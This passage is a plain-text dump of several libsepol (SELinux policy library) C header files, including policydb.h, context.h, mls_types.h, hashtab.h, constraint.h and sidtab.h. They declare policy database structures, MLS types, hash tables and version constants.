*ocontexts[OCON_NUM]; /* security contexts for files in filesystems that cannot support a persistent label mapping or use another fixed labeling behavior. */ genfs_t *genfs; /* range transitions table (range_trans_key -> mls_range) */ hashtab_t range_tr; /* file transitions with the last path component */ hashtab_t filename_trans; ebitmap_t *type_attr_map; ebitmap_t *attr_type_map; /* not saved in the binary policy */ ebitmap_t policycaps; /* this bitmap is referenced by type NOT the typical type-1 used in other bitmaps. Someday the 0 bit may be used for global permissive */ ebitmap_t permissive_map; unsigned policyvers; unsigned handle_unknown; } policydb_t; struct sepol_policydb { struct policydb p; }; extern int policydb_init(policydb_t * p); extern int policydb_from_image(sepol_handle_t * handle, void *data, size_t len, policydb_t * policydb); extern int policydb_to_image(sepol_handle_t * handle, policydb_t * policydb, void **newdata, size_t * newlen); extern int policydb_index_classes(policydb_t * p); extern int policydb_index_bools(policydb_t * p); extern int policydb_index_others(sepol_handle_t * handle, policydb_t * p, unsigned int verbose); extern int policydb_role_cache(hashtab_key_t key, hashtab_datum_t datum, void *arg); extern int policydb_user_cache(hashtab_key_t key, hashtab_datum_t datum, void *arg); extern int policydb_reindex_users(policydb_t * p); extern void policydb_destroy(policydb_t * p); extern int policydb_load_isids(policydb_t * p, sidtab_t * s); extern int policydb_sort_ocontexts(policydb_t *p); /* Deprecated */ extern int policydb_context_isvalid(const policydb_t * p, const context_struct_t * c); extern void symtabs_destroy(symtab_t * symtab); extern int scope_destroy(hashtab_key_t key, hashtab_datum_t datum, void *p); extern void class_perm_node_init(class_perm_node_t * x); extern void type_set_init(type_set_t * x); extern void type_set_destroy(type_set_t * x); extern int type_set_cpy(type_set_t * dst, type_set_t * src); extern int type_set_or_eq(type_set_t * dst, type_set_t * other); extern void role_set_init(role_set_t * x); extern void role_set_destroy(role_set_t * x); extern void avrule_init(avrule_t * x); extern void avrule_destroy(avrule_t * x); extern void avrule_list_destroy(avrule_t * x); extern void role_trans_rule_init(role_trans_rule_t * x); extern void role_trans_rule_list_destroy(role_trans_rule_t * x); extern void filename_trans_rule_init(filename_trans_rule_t * x); extern void filename_trans_rule_list_destroy(filename_trans_rule_t * x); extern void role_datum_init(role_datum_t * x); extern void role_datum_destroy(role_datum_t * x); extern void role_allow_rule_init(role_allow_rule_t * x); extern void role_allow_rule_destroy(role_allow_rule_t * x); extern void role_allow_rule_list_destroy(role_allow_rule_t * x); extern void range_trans_rule_init(range_trans_rule_t *x); extern void range_trans_rule_destroy(range_trans_rule_t *x); extern void range_trans_rule_list_destroy(range_trans_rule_t *x); extern void type_datum_init(type_datum_t * x); extern void type_datum_destroy(type_datum_t * x); extern void user_datum_init(user_datum_t * x); extern void user_datum_destroy(user_datum_t * x); extern void level_datum_init(level_datum_t * x); extern void level_datum_destroy(level_datum_t * x); extern void cat_datum_init(cat_datum_t * x); extern void cat_datum_destroy(cat_datum_t * x); extern int check_assertion(policydb_t *p, avrule_t *avrule); extern int check_assertions(sepol_handle_t * handle, policydb_t * p, avrule_t * avrules); extern int symtab_insert(policydb_t * x, uint32_t sym, hashtab_key_t key, hashtab_datum_t datum, uint32_t scope, uint32_t avrule_decl_id, uint32_t * value); /* A policy "file" may be a memory region referenced by a (data, len) pair or a file referenced by a FILE pointer. */ typedef struct policy_file { #define PF_USE_MEMORY 0 #define PF_USE_STDIO 1 #define PF_LEN 2 /* total up length in len field */ unsigned type; char *data; size_t len; size_t size; FILE *fp; struct sepol_handle *handle; } policy_file_t; struct sepol_policy_file { struct policy_file pf; }; extern void policy_file_init(policy_file_t * x); extern int policydb_read(policydb_t * p, struct policy_file *fp, unsigned int verbose); extern int avrule_read_list(policydb_t * p, avrule_t ** avrules, struct policy_file *fp); extern int policydb_write(struct policydb *p, struct policy_file *pf); extern int policydb_set_target_platform(policydb_t *p, int platform); #define PERM_SYMTAB_SIZE 32 /* Identify specific policy version changes */ #define POLICYDB_VERSION_BASE 15 #define POLICYDB_VERSION_BOOL 16 #define POLICYDB_VERSION_IPV6 17 #define POLICYDB_VERSION_NLCLASS 18 #define POLICYDB_VERSION_VALIDATETRANS 19 #define POLICYDB_VERSION_MLS 19 #define POLICYDB_VERSION_AVTAB 20 #define POLICYDB_VERSION_RANGETRANS 21 #define POLICYDB_VERSION_POLCAP 22 #define POLICYDB_VERSION_PERMISSIVE 23 #define POLICYDB_VERSION_BOUNDARY 24 #define POLICYDB_VERSION_FILENAME_TRANS 25 #define POLICYDB_VERSION_ROLETRANS 26 #define POLICYDB_VERSION_NEW_OBJECT_DEFAULTS 27 #define POLICYDB_VERSION_DEFAULT_TYPE 28 #define POLICYDB_VERSION_CONSTRAINT_NAMES 29 #define POLICYDB_VERSION_XEN_DEVICETREE 30 /* Xen-specific */ #define POLICYDB_VERSION_XPERMS_IOCTL 30 /* Linux-specific */ #define POLICYDB_VERSION_INFINIBAND 31 /* Linux-specific */ /* Range of policy versions we understand*/ #define POLICYDB_VERSION_MIN POLICYDB_VERSION_BASE #define POLICYDB_VERSION_MAX POLICYDB_VERSION_INFINIBAND /* Module versions and specific changes*/ #define MOD_POLICYDB_VERSION_BASE 4 #define MOD_POLICYDB_VERSION_VALIDATETRANS 5 #define MOD_POLICYDB_VERSION_MLS 5 #define MOD_POLICYDB_VERSION_RANGETRANS 6 #define MOD_POLICYDB_VERSION_MLS_USERS 6 #define MOD_POLICYDB_VERSION_POLCAP 7 #define MOD_POLICYDB_VERSION_PERMISSIVE 8 #define MOD_POLICYDB_VERSION_BOUNDARY 9 #define MOD_POLICYDB_VERSION_BOUNDARY_ALIAS 10 #define MOD_POLICYDB_VERSION_FILENAME_TRANS 11 #define MOD_POLICYDB_VERSION_ROLETRANS 12 #define MOD_POLICYDB_VERSION_ROLEATTRIB 13 #define MOD_POLICYDB_VERSION_TUNABLE_SEP 14 #define MOD_POLICYDB_VERSION_NEW_OBJECT_DEFAULTS 15 #define MOD_POLICYDB_VERSION_DEFAULT_TYPE 16 #define MOD_POLICYDB_VERSION_CONSTRAINT_NAMES 17 #define MOD_POLICYDB_VERSION_XPERMS_IOCTL 18 #define MOD_POLICYDB_VERSION_INFINIBAND 19 #define MOD_POLICYDB_VERSION_MIN MOD_POLICYDB_VERSION_BASE #define MOD_POLICYDB_VERSION_MAX MOD_POLICYDB_VERSION_INFINIBAND #define POLICYDB_CONFIG_MLS 1 /* macros to check policy feature */ /* TODO: add other features here */ #define policydb_has_boundary_feature(p) \ (((p)->policy_type == POLICY_KERN \ && p->policyvers >= POLICYDB_VERSION_BOUNDARY) || \ ((p)->policy_type != POLICY_KERN \ && p->policyvers >= MOD_POLICYDB_VERSION_BOUNDARY)) /* the config flags related to unknown classes/perms are bits 2 and 3 */ #define DENY_UNKNOWN SEPOL_DENY_UNKNOWN #define REJECT_UNKNOWN SEPOL_REJECT_UNKNOWN #define ALLOW_UNKNOWN SEPOL_ALLOW_UNKNOWN #define POLICYDB_CONFIG_UNKNOWN_MASK (DENY_UNKNOWN | REJECT_UNKNOWN | ALLOW_UNKNOWN) #define OBJECT_R "object_r" #define OBJECT_R_VAL 1 #define POLICYDB_MAGIC SELINUX_MAGIC #define POLICYDB_STRING "SE Linux" #define POLICYDB_XEN_STRING "XenFlask" #define POLICYDB_STRING_MAX_LENGTH 32 #define POLICYDB_MOD_MAGIC SELINUX_MOD_MAGIC #define POLICYDB_MOD_STRING "SE Linux Module" #ifdef __cplusplus } #endif #endif /* _POLICYDB_H_ */ /* FLASK */ sepol/policydb/context.h 0000644 00000006404 15246445046 0011346 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* FLASK */ /* * A security context is a set of security attributes * associated with each subject and object controlled * by the security policy. Security contexts are * externally represented as variable-length strings * that can be interpreted by a user or application * with an understanding of the security policy. * Internally, the security server uses a simple * structure. This structure is private to the * security server and can be changed without affecting * clients of the security server. */ #ifndef _SEPOL_POLICYDB_CONTEXT_H_ #define _SEPOL_POLICYDB_CONTEXT_H_ #include <stddef.h> #include <sepol/policydb/ebitmap.h> #include <sepol/policydb/mls_types.h> #ifdef __cplusplus extern "C" { #endif /* * A security context consists of an authenticated user * identity, a role, a type and a MLS range. */ typedef struct context_struct { uint32_t user; uint32_t role; uint32_t type; mls_range_t range; } context_struct_t; static inline void mls_context_init(context_struct_t * c) { mls_range_init(&c->range); } static inline int mls_context_cpy(context_struct_t * dst, context_struct_t * src) { if (mls_range_cpy(&dst->range, &src->range) < 0) return -1; return 0; } /* * Sets both levels in the MLS range of 'dst' to the low level of 'src'. */ static inline int mls_context_cpy_low(context_struct_t *dst, context_struct_t *src) { int rc; dst->range.level[0].sens = src->range.level[0].sens; rc = ebitmap_cpy(&dst->range.level[0].cat, &src->range.level[0].cat); if (rc) goto out; dst->range.level[1].sens = src->range.level[0].sens; rc = ebitmap_cpy(&dst->range.level[1].cat, &src->range.level[0].cat); if (rc) ebitmap_destroy(&dst->range.level[0].cat); out: return rc; } /* * Sets both levels in the MLS range of 'dst' to the high level of 'src'. */ static inline int mls_context_cpy_high(context_struct_t *dst, context_struct_t *src) { int rc; dst->range.level[0].sens = src->range.level[1].sens; rc = ebitmap_cpy(&dst->range.level[0].cat, &src->range.level[1].cat); if (rc) goto out; dst->range.level[1].sens = src->range.level[1].sens; rc = ebitmap_cpy(&dst->range.level[1].cat, &src->range.level[1].cat); if (rc) ebitmap_destroy(&dst->range.level[0].cat); out: return rc; } static inline int mls_context_cmp(context_struct_t * c1, context_struct_t * c2) { return (mls_level_eq(&c1->range.level[0], &c2->range.level[0]) && mls_level_eq(&c1->range.level[1], &c2->range.level[1])); } static inline void mls_context_destroy(context_struct_t * c) { if (c == NULL) return; mls_range_destroy(&c->range); mls_context_init(c); } static inline void context_init(context_struct_t * c) { memset(c, 0, sizeof(*c)); } static inline int context_cpy(context_struct_t * dst, context_struct_t * src) { dst->user = src->user; dst->role = src->role; dst->type = src->type; return mls_context_cpy(dst, src); } static inline void context_destroy(context_struct_t * c) { if (c == NULL) return; c->user = c->role = c->type = 0; mls_context_destroy(c); } static inline int context_cmp(context_struct_t * c1, context_struct_t * c2) { return ((c1->user == c2->user) && (c1->role == c2->role) && (c1->type == c2->type) && mls_context_cmp(c1, c2)); } #ifdef __cplusplus } #endif #endif sepol/policydb/mls_types.h 0000644 00000010430 15246445046 0011673 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* * Updated: Trusted Computer Solutions, Inc. <dgoeddel@trustedcs.com> * * Support for enhanced MLS infrastructure. * * Copyright (C) 2004-2005 Trusted Computer Solutions, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* FLASK */ /* * Type definitions for the multi-level security (MLS) policy. */ #ifndef _SEPOL_POLICYDB_MLS_TYPES_H_ #define _SEPOL_POLICYDB_MLS_TYPES_H_ #include <stdint.h> #include <stdlib.h> #include <sepol/policydb/ebitmap.h> #include <sepol/policydb/flask_types.h> #ifdef __cplusplus extern "C" { #endif typedef struct mls_level { uint32_t sens; /* sensitivity */ ebitmap_t cat; /* category set */ } mls_level_t; typedef struct mls_range { mls_level_t level[2]; /* low == level[0], high == level[1] */ } mls_range_t; static inline int mls_level_cpy(struct mls_level *dst, struct mls_level *src) { dst->sens = src->sens; if (ebitmap_cpy(&dst->cat, &src->cat) < 0) return -1; return 0; } static inline void mls_level_init(struct mls_level *level) { memset(level, 0, sizeof(mls_level_t)); } static inline void mls_level_destroy(struct mls_level *level) { if (level == NULL) return; ebitmap_destroy(&level->cat); mls_level_init(level); } static inline int mls_level_eq(const struct mls_level *l1, const struct mls_level *l2) { return ((l1->sens == l2->sens) && ebitmap_cmp(&l1->cat, &l2->cat)); } static inline int mls_level_dom(const struct mls_level *l1, const struct mls_level *l2) { return ((l1->sens >= l2->sens) && ebitmap_contains(&l1->cat, &l2->cat)); } #define mls_level_incomp(l1, l2) \ (!mls_level_dom((l1), (l2)) && !mls_level_dom((l2), (l1))) #define mls_level_between(l1, l2, l3) \ (mls_level_dom((l1), (l2)) && mls_level_dom((l3), (l1))) #define mls_range_contains(r1, r2) \ (mls_level_dom(&(r2).level[0], &(r1).level[0]) && \ mls_level_dom(&(r1).level[1], &(r2).level[1])) static inline int mls_range_cpy(mls_range_t * dst, mls_range_t * src) { if (mls_level_cpy(&dst->level[0], &src->level[0]) < 0) goto err; if (mls_level_cpy(&dst->level[1], &src->level[1]) < 0) goto err_destroy; return 0; err_destroy: mls_level_destroy(&dst->level[0]); err: return -1; } static inline void mls_range_init(struct mls_range *r) { mls_level_init(&r->level[0]); mls_level_init(&r->level[1]); } static inline void mls_range_destroy(struct mls_range *r) { mls_level_destroy(&r->level[0]); mls_level_destroy(&r->level[1]); } static inline int mls_range_eq(struct mls_range *r1, struct mls_range *r2) { return (mls_level_eq(&r1->level[0], &r2->level[0]) && mls_level_eq(&r1->level[1], &r2->level[1])); } typedef struct mls_semantic_cat { uint32_t low; /* first bit this struct represents */ uint32_t high; /* last bit represented - equals low for a single cat */ struct mls_semantic_cat *next; } mls_semantic_cat_t; typedef struct mls_semantic_level { uint32_t sens; mls_semantic_cat_t *cat; } mls_semantic_level_t; typedef struct mls_semantic_range { mls_semantic_level_t level[2]; } mls_semantic_range_t; extern void mls_semantic_cat_init(mls_semantic_cat_t *c); extern void mls_semantic_cat_destroy(mls_semantic_cat_t *c); extern void mls_semantic_level_init(mls_semantic_level_t *l); extern void mls_semantic_level_destroy(mls_semantic_level_t *l); extern int mls_semantic_level_cpy(mls_semantic_level_t *dst, mls_semantic_level_t *src); extern void mls_semantic_range_init(mls_semantic_range_t *r); extern void mls_semantic_range_destroy(mls_semantic_range_t *r); extern int mls_semantic_range_cpy(mls_semantic_range_t *dst, mls_semantic_range_t *src); #ifdef __cplusplus } #endif #endif sepol/policydb/avrule_block.h 0000644 00000003145 15246445046 0012331 0 ustar 00 /* Authors: Jason Tang <jtang@tresys.com> * * Copyright (C) 2005 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _SEPOL_AVRULE_BLOCK_H_ #define _SEPOL_AVRULE_BLOCK_H_ #include <sepol/policydb/policydb.h> #ifdef __cplusplus extern "C" { #endif extern avrule_block_t *avrule_block_create(void); extern void avrule_block_destroy(avrule_block_t * x); extern avrule_decl_t *avrule_decl_create(uint32_t decl_id); extern void avrule_decl_destroy(avrule_decl_t * x); extern void avrule_block_list_destroy(avrule_block_t * x); extern avrule_decl_t *get_avrule_decl(policydb_t * p, uint32_t decl_id); extern cond_list_t *get_decl_cond_list(policydb_t * p, avrule_decl_t * decl, cond_list_t * cond); extern int is_id_enabled(char *id, policydb_t * p, int symbol_table); extern int is_perm_enabled(char *class_id, char *perm_id, policydb_t * p); #ifdef __cplusplus } #endif #endif sepol/policydb/flask.h 0000644 00000011600 15246445046 0010754 0 ustar 00 /* This file is automatically generated. Do not edit. */ #ifndef _SEPOL_POLICYDB_FLASK_H_ #define _SEPOL_POLICYDB_FLASK_H_ /* * Security object class definitions */ #define SECCLASS_SECURITY 1 #define SECCLASS_PROCESS 2 #define SECCLASS_SYSTEM 3 #define SECCLASS_CAPABILITY 4 #define SECCLASS_FILESYSTEM 5 #define SECCLASS_FILE 6 #define SECCLASS_DIR 7 #define SECCLASS_FD 8 #define SECCLASS_LNK_FILE 9 #define SECCLASS_CHR_FILE 10 #define SECCLASS_BLK_FILE 11 #define SECCLASS_SOCK_FILE 12 #define SECCLASS_FIFO_FILE 13 #define SECCLASS_SOCKET 14 #define SECCLASS_TCP_SOCKET 15 #define SECCLASS_UDP_SOCKET 16 #define SECCLASS_RAWIP_SOCKET 17 #define SECCLASS_NODE 18 #define SECCLASS_NETIF 19 #define SECCLASS_NETLINK_SOCKET 20 #define SECCLASS_PACKET_SOCKET 21 #define SECCLASS_KEY_SOCKET 22 #define SECCLASS_UNIX_STREAM_SOCKET 23 #define SECCLASS_UNIX_DGRAM_SOCKET 24 #define SECCLASS_SEM 25 #define SECCLASS_MSG 26 #define SECCLASS_MSGQ 27 #define SECCLASS_SHM 28 #define SECCLASS_IPC 29 #define SECCLASS_PASSWD 30 #define SECCLASS_DRAWABLE 31 #define SECCLASS_WINDOW 32 #define SECCLASS_GC 33 #define SECCLASS_FONT 34 #define SECCLASS_COLORMAP 35 #define SECCLASS_PROPERTY 36 #define SECCLASS_CURSOR 37 #define SECCLASS_XCLIENT 38 #define SECCLASS_XINPUT 39 #define SECCLASS_XSERVER 40 #define SECCLASS_XEXTENSION 41 #define SECCLASS_PAX 42 #define SECCLASS_NETLINK_ROUTE_SOCKET 43 #define SECCLASS_NETLINK_FIREWALL_SOCKET 44 #define SECCLASS_NETLINK_TCPDIAG_SOCKET 45 #define SECCLASS_NETLINK_NFLOG_SOCKET 46 #define SECCLASS_NETLINK_XFRM_SOCKET 47 #define SECCLASS_NETLINK_SELINUX_SOCKET 48 #define SECCLASS_NETLINK_AUDIT_SOCKET 49 #define SECCLASS_NETLINK_IP6FW_SOCKET 50 #define SECCLASS_NETLINK_DNRT_SOCKET 51 #define SECCLASS_DBUS 52 /* * Security identifier indices for initial entities */ #define SECINITSID_KERNEL 1 #define SECINITSID_SECURITY 2 #define SECINITSID_UNLABELED 3 #define SECINITSID_FS 4 #define SECINITSID_FILE 5 #define SECINITSID_FILE_LABELS 6 #define SECINITSID_INIT 7 #define SECINITSID_ANY_SOCKET 8 #define SECINITSID_PORT 9 #define SECINITSID_NETIF 10 #define SECINITSID_NETMSG 11 #define SECINITSID_NODE 12 #define SECINITSID_IGMP_PACKET 13 #define SECINITSID_ICMP_SOCKET 14 #define SECINITSID_TCP_SOCKET 15 #define SECINITSID_SYSCTL_MODPROBE 16 #define SECINITSID_SYSCTL 17 #define SECINITSID_SYSCTL_FS 18 #define SECINITSID_SYSCTL_KERNEL 19 #define SECINITSID_SYSCTL_NET 20 #define SECINITSID_SYSCTL_NET_UNIX 21 #define SECINITSID_SYSCTL_VM 22 #define SECINITSID_SYSCTL_DEV 23 #define SECINITSID_KMOD 24 #define SECINITSID_POLICY 25 #define SECINITSID_SCMP_PACKET 26 #define SECINITSID_DEVNULL 27 #define SECINITSID_NUM 27 #endif sepol/policydb/hashtab.h 0000644 00000010450 15246445046 0011270 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* FLASK */ /* * A hash table (hashtab) maintains associations between * key values and datum values. The type of the key values * and the type of the datum values is arbitrary. The * functions for hash computation and key comparison are * provided by the creator of the table. */ #ifndef _SEPOL_POLICYDB_HASHTAB_H_ #define _SEPOL_POLICYDB_HASHTAB_H_ #include <sepol/errcodes.h> #include <stdint.h> #include <stdio.h> #ifdef __cplusplus extern "C" { #endif typedef char *hashtab_key_t; /* generic key type */ typedef const char *const_hashtab_key_t; /* constant generic key type */ typedef void *hashtab_datum_t; /* generic datum type */ typedef struct hashtab_node *hashtab_ptr_t; typedef struct hashtab_node { hashtab_key_t key; hashtab_datum_t datum; hashtab_ptr_t next; } hashtab_node_t; typedef struct hashtab_val { hashtab_ptr_t *htable; /* hash table */ unsigned int size; /* number of slots in hash table */ uint32_t nel; /* number of elements in hash table */ unsigned int (*hash_value) (struct hashtab_val * h, const_hashtab_key_t key); /* hash function */ int (*keycmp) (struct hashtab_val * h, const_hashtab_key_t key1, const_hashtab_key_t key2); /* key comparison function */ } hashtab_val_t; typedef hashtab_val_t *hashtab_t; /* Creates a new hash table with the specified characteristics. Returns NULL if insufficent space is available or the new hash table otherwise. */ extern hashtab_t hashtab_create(unsigned int (*hash_value) (hashtab_t h, const_hashtab_key_t key), int (*keycmp) (hashtab_t h, const_hashtab_key_t key1, const_hashtab_key_t key2), unsigned int size); /* Inserts the specified (key, datum) pair into the specified hash table. Returns SEPOL_ENOMEM if insufficient space is available or SEPOL_EEXIST if there is already an entry with the same key or SEPOL_OK otherwise. */ extern int hashtab_insert(hashtab_t h, hashtab_key_t k, hashtab_datum_t d); /* Removes the entry with the specified key from the hash table. Applies the specified destroy function to (key,datum,args) for the entry. Returns SEPOL_ENOENT if no entry has the specified key or SEPOL_OK otherwise. */ extern int hashtab_remove(hashtab_t h, hashtab_key_t k, void (*destroy) (hashtab_key_t k, hashtab_datum_t d, void *args), void *args); /* Insert or replace the specified (key, datum) pair in the specified hash table. If an entry for the specified key already exists, then the specified destroy function is applied to (key,datum,args) for the entry prior to replacing the entry's contents. Returns SEPOL_ENOMEM if insufficient space is available or SEPOL_OK otherwise. */ extern int hashtab_replace(hashtab_t h, hashtab_key_t k, hashtab_datum_t d, void (*destroy) (hashtab_key_t k, hashtab_datum_t d, void *args), void *args); /* Searches for the entry with the specified key in the hash table. Returns NULL if no entry has the specified key or the datum of the entry otherwise. */ extern hashtab_datum_t hashtab_search(hashtab_t h, const_hashtab_key_t k); /* Destroys the specified hash table. */ extern void hashtab_destroy(hashtab_t h); /* Applies the specified apply function to (key,datum,args) for each entry in the specified hash table. The order in which the function is applied to the entries is dependent upon the internal structure of the hash table. If apply returns a non-zero status, then hashtab_map will cease iterating through the hash table and will propagate the error return to its caller. */ extern int hashtab_map(hashtab_t h, int (*apply) (hashtab_key_t k, hashtab_datum_t d, void *args), void *args); /* Same as hashtab_map, except that if apply returns a non-zero status, then the (key,datum) pair will be removed from the hashtab and the destroy function will be applied to (key,datum,args). */ extern void hashtab_map_remove_on_error(hashtab_t h, int (*apply) (hashtab_key_t k, hashtab_datum_t d, void *args), void (*destroy) (hashtab_key_t k, hashtab_datum_t d, void *args), void *args); extern void hashtab_hash_eval(hashtab_t h, char *tag); #ifdef __cplusplus } #endif #endif sepol/policydb/constraint.h 0000644 00000005013 15246445046 0012041 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* FLASK */ /* * A constraint is a condition that must be satisfied in * order for one or more permissions to be granted. * Constraints are used to impose additional restrictions * beyond the type-based rules in `te' or the role-based * transition rules in `rbac'. Constraints are typically * used to prevent a process from transitioning to a new user * identity or role unless it is in a privileged type. * Constraints are likewise typically used to prevent a * process from labeling an object with a different user * identity. */ #ifndef _SEPOL_POLICYDB_CONSTRAINT_H_ #define _SEPOL_POLICYDB_CONSTRAINT_H_ #include <sepol/policydb/policydb.h> #include <sepol/policydb/ebitmap.h> #include <sepol/policydb/flask_types.h> #ifdef __cplusplus extern "C" { #endif #define CEXPR_MAXDEPTH 5 struct type_set; typedef struct constraint_expr { #define CEXPR_NOT 1 /* not expr */ #define CEXPR_AND 2 /* expr and expr */ #define CEXPR_OR 3 /* expr or expr */ #define CEXPR_ATTR 4 /* attr op attr */ #define CEXPR_NAMES 5 /* attr op names */ uint32_t expr_type; /* expression type */ #define CEXPR_USER 1 /* user */ #define CEXPR_ROLE 2 /* role */ #define CEXPR_TYPE 4 /* type */ #define CEXPR_TARGET 8 /* target if set, source otherwise */ #define CEXPR_XTARGET 16 /* special 3rd target for validatetrans rule */ #define CEXPR_L1L2 32 /* low level 1 vs. low level 2 */ #define CEXPR_L1H2 64 /* low level 1 vs. high level 2 */ #define CEXPR_H1L2 128 /* high level 1 vs. low level 2 */ #define CEXPR_H1H2 256 /* high level 1 vs. high level 2 */ #define CEXPR_L1H1 512 /* low level 1 vs. high level 1 */ #define CEXPR_L2H2 1024 /* low level 2 vs. high level 2 */ uint32_t attr; /* attribute */ #define CEXPR_EQ 1 /* == or eq */ #define CEXPR_NEQ 2 /* != */ #define CEXPR_DOM 3 /* dom */ #define CEXPR_DOMBY 4 /* domby */ #define CEXPR_INCOMP 5 /* incomp */ uint32_t op; /* operator */ ebitmap_t names; /* names */ struct type_set *type_names; struct constraint_expr *next; /* next expression */ } constraint_expr_t; typedef struct constraint_node { sepol_access_vector_t permissions; /* constrained permissions */ constraint_expr_t *expr; /* constraint on permissions */ struct constraint_node *next; /* next constraint */ } constraint_node_t; struct policydb; extern int constraint_expr_init(constraint_expr_t * expr); extern void constraint_expr_destroy(constraint_expr_t * expr); #ifdef __cplusplus } #endif #endif /* _CONSTRAINT_H_ */ /* FLASK */ sepol/policydb/sidtab.h 0000644 00000003670 15246445046 0011132 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* FLASK */ /* * A security identifier table (sidtab) is a hash table * of security context structures indexed by SID value. */ #ifndef _SEPOL_POLICYDB_SIDTAB_H_ #define _SEPOL_POLICYDB_SIDTAB_H_ #include <sepol/policydb/context.h> #ifdef __cplusplus extern "C" { #endif typedef struct sidtab_node { sepol_security_id_t sid; /* security identifier */ context_struct_t context; /* security context structure */ struct sidtab_node *next; } sidtab_node_t; typedef struct sidtab_node *sidtab_ptr_t; #define SIDTAB_HASH_BITS 7 #define SIDTAB_HASH_BUCKETS (1 << SIDTAB_HASH_BITS) #define SIDTAB_HASH_MASK (SIDTAB_HASH_BUCKETS-1) #define SIDTAB_SIZE SIDTAB_HASH_BUCKETS typedef struct { sidtab_ptr_t *htable; unsigned int nel; /* number of elements */ unsigned int next_sid; /* next SID to allocate */ unsigned char shutdown; } sidtab_t; extern int sepol_sidtab_init(sidtab_t * s); extern int sepol_sidtab_insert(sidtab_t * s, sepol_security_id_t sid, context_struct_t * context); extern context_struct_t *sepol_sidtab_search(sidtab_t * s, sepol_security_id_t sid); extern int sepol_sidtab_map(sidtab_t * s, int (*apply) (sepol_security_id_t sid, context_struct_t * context, void *args), void *args); extern void sepol_sidtab_map_remove_on_error(sidtab_t * s, int (*apply) (sepol_security_id_t s, context_struct_t * context, void *args), void *args); extern int sepol_sidtab_context_to_sid(sidtab_t * s, /* IN */ context_struct_t * context, /* IN */ sepol_security_id_t * sid); /* OUT */ extern void sepol_sidtab_hash_eval(sidtab_t * h, char *tag); extern void sepol_sidtab_destroy(sidtab_t * s); extern void sepol_sidtab_set(sidtab_t * dst, sidtab_t * src); extern void sepol_sidtab_shutdown(sidtab_t * s); #ifdef __cplusplus } #endif #endif /* _SIDTAB_H_ */ /* FLASK */ sepol/policydb/polcaps.h 0000644 00000001321 15246445046 0011314 0 ustar 00 #ifndef _SEPOL_POLICYDB_POLCAPS_H_ #define _SEPOL_POLICYDB_POLCAPS_H_ #ifdef __cplusplus extern "C" { #endif /* Policy capabilities */ enum { POLICYDB_CAPABILITY_NETPEER, POLICYDB_CAPABILITY_OPENPERM, POLICYDB_CAPABILITY_EXTSOCKCLASS, POLICYDB_CAPABILITY_ALWAYSNETWORK, POLICYDB_CAPABILITY_CGROUPSECLABEL, POLICYDB_CAPABILITY_NNP_NOSUID_TRANSITION, __POLICYDB_CAPABILITY_MAX }; #define POLICYDB_CAPABILITY_MAX (__POLICYDB_CAPABILITY_MAX - 1) /* Convert a capability name to number. */ extern int sepol_polcap_getnum(const char *name); /* Convert a capability number to name. */ extern const char *sepol_polcap_getname(unsigned int capnum); #ifdef __cplusplus } #endif #endif /* _SEPOL_POLICYDB_POLCAPS_H_ */ sepol/policydb/ebitmap.h 0000644 00000006150 15246445046 0011301 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* FLASK */ /* * An extensible bitmap is a bitmap that supports an * arbitrary number of bits. Extensible bitmaps are * used to represent sets of values, such as types, * roles, categories, and classes. * * Each extensible bitmap is implemented as a linked * list of bitmap nodes, where each bitmap node has * an explicitly specified starting bit position within * the total bitmap. */ #ifndef _SEPOL_POLICYDB_EBITMAP_H_ #define _SEPOL_POLICYDB_EBITMAP_H_ #include <stdint.h> #include <string.h> #ifdef __cplusplus extern "C" { #endif #define MAPTYPE uint64_t /* portion of bitmap in each node */ #define MAPSIZE (sizeof(MAPTYPE) * 8) /* number of bits in node bitmap */ #define MAPBIT 1ULL /* a bit in the node bitmap */ typedef struct ebitmap_node { uint32_t startbit; /* starting position in the total bitmap */ MAPTYPE map; /* this node's portion of the bitmap */ struct ebitmap_node *next; } ebitmap_node_t; typedef struct ebitmap { ebitmap_node_t *node; /* first node in the bitmap */ uint32_t highbit; /* highest position in the total bitmap */ } ebitmap_t; #define ebitmap_length(e) ((e)->highbit) #define ebitmap_startbit(e) ((e)->node ? (e)->node->startbit : 0) #define ebitmap_startnode(e) ((e)->node) static inline unsigned int ebitmap_start(const ebitmap_t * e, ebitmap_node_t ** n) { *n = e->node; return ebitmap_startbit(e); } static inline void ebitmap_init(ebitmap_t * e) { memset(e, 0, sizeof(*e)); } static inline unsigned int ebitmap_next(ebitmap_node_t ** n, unsigned int bit) { if ((bit == ((*n)->startbit + MAPSIZE - 1)) && (*n)->next) { *n = (*n)->next; return (*n)->startbit; } return (bit + 1); } static inline int ebitmap_node_get_bit(ebitmap_node_t * n, unsigned int bit) { if (n->map & (MAPBIT << (bit - n->startbit))) return 1; return 0; } #define ebitmap_for_each_bit(e, n, bit) \ for (bit = ebitmap_start(e, &n); bit < ebitmap_length(e); bit = ebitmap_next(&n, bit)) \ extern int ebitmap_cmp(const ebitmap_t * e1, const ebitmap_t * e2); extern int ebitmap_or(ebitmap_t * dst, const ebitmap_t * e1, const ebitmap_t * e2); extern int 